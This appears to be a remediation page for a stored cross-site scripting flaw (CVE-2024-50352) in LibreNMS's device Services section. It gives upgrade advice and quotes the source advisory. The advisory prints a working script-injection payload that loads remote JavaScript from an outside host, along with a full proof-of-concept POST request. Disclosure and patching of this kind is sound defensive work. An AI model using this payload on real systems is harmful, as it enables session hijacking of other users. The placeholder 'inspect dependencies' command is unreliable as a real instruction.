How to Fix CVE-2024-50352

To remediate this vulnerability, upgrade all affected Librenms/librenms dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

librenms/librenms fixed: 24.10.0
Upgrade librenms/librenms to 24.10.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for librenms/librenms

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-50352, inspect your project dependencies for Librenms/librenms:

inspect dependencies for librenms/librenms

Analyze the terminal output to locate any version of Librenms/librenms in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 24.10.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Librenms/librenms, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Services" section of the Device Overview page allows authenticated users to inject arbitrary JavaScript through the "name" parameter when adding a service to a device. This vulnerability could result in the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and enabling unauthorized actions. ### Details When creating a device through the "edit device -> services" workflow (example path: "/device/15/edit/section=services"), the attacker can inject an XSS payload in the "name" parameter. This payload is then reflected in the "Services" section of the "Overview" page of the device. It is important to note that the vulnerability does not exist when creating devices through the normal "Add Service" interface (created through the ajax_form.php request with the "type=create-service"). The payload used to exploit this vulnerability is: ```Name'"><script/src=//15.rs></script>``` Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code. The root cause is the application's failure to sanitize the "name" parameter before outputting it in the HTML. The sinks are as follows: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/overview/services.inc.php#L36 https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/overview.inc.php#L74 ### PoC 1. Create a service for a device using the following payload in the "name" parameter: ```Name'"><script/src=//15.rs></script>``` 2. Save the service. 3. Navigate to the "Overview" page of the device. 4. Observe that the injected script executes in the "Services" section of the page. Example Request: ```http POST /device/15/edit/section=services HTTP/1.1 Host: <your_host> Content-Type: application/x-www-form-urlencoded Cookie: <your_cookie> _token=<your_token>&name=Name'"><script/src=//15.rs></script>&addsrv=yes&device=15&type=pollen&descr=Descr'"><script/src=//15.rs></script>&ip=IP'"><script/src=//15.rs></script>&params=Params'"><script/src=//15.rs></script>&Submit= ``` ### Impact This vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the "Services" section of the device's overview page. This could result in the compromise of user accounts and unauthorized actions performed on their behalf.
